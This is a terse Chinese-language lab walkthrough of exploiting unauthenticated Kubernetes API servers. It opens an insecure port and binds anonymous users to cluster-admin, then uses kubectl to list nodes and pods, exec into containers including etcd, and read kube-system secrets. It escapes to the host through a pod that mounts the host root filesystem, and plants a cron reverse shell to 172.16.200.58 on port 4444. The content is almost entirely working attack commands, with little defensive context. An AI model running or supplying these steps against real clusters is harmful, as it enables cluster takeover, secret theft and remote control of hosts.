漏洞复现
8080端口
cd /etc/kubernetes/manifests
vim kube-apiserver.yaml
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0
#重启k8s
systemctl restart kubectl
kubectl -s http://10.211.55.35:8080 get nodes
6443端口
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
未授权利用
命令执行
查看K8s集群信息
执行如下命令查看K8s集群信息
kubectl -s http://10.211.55.35:8080 cluster-info
查看node节点信息
执行如下命令查看K8s node节点信息
#查看node节点
kubectl -s http://10.211.55.35:8080 get nodes
#查看node节点详细信息
kubectl -s http://10.211.55.35:8080 get nodes -o wide
查看pod节点信息
执行如下命令查看K8s pod信息
#查看所有的pod
kubectl -s http://10.211.55.35:8080 get pods -A
执行命令
#进入命名空间为default,名字为hello-minikube的容器
kubectl -s http://10.211.55.35:8080 exec -n default -it hello-minikube -- /bin/bash
#进入命名空间为kube-system,名字为etcd-ubuntu的容器
kubectl -s http://10.211.55.35:8080 exec -n kube-system -it etcd-ubuntu -- /bin/sh
获取Token登录dashboard
http://10.211.55.35:8080/api/v1/namespaces/kube-system/secrets/
https://172.16.200.70:6443/api/v1/namespaces/kube-system/secrets/
获取宿主机权限
apiVersion: v1
kind: Pod
metadata:
name: myapp
spec:
containers:
- image: nginx
name: container
volumeMounts:
- mountPath: /mnt
name: test
volumes:
- name: test
hostPath:
path: /
写入SSH公钥
定时任务反弹shell
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.200.58/4444 0>&1" > root
chroot
chroot /mnt
END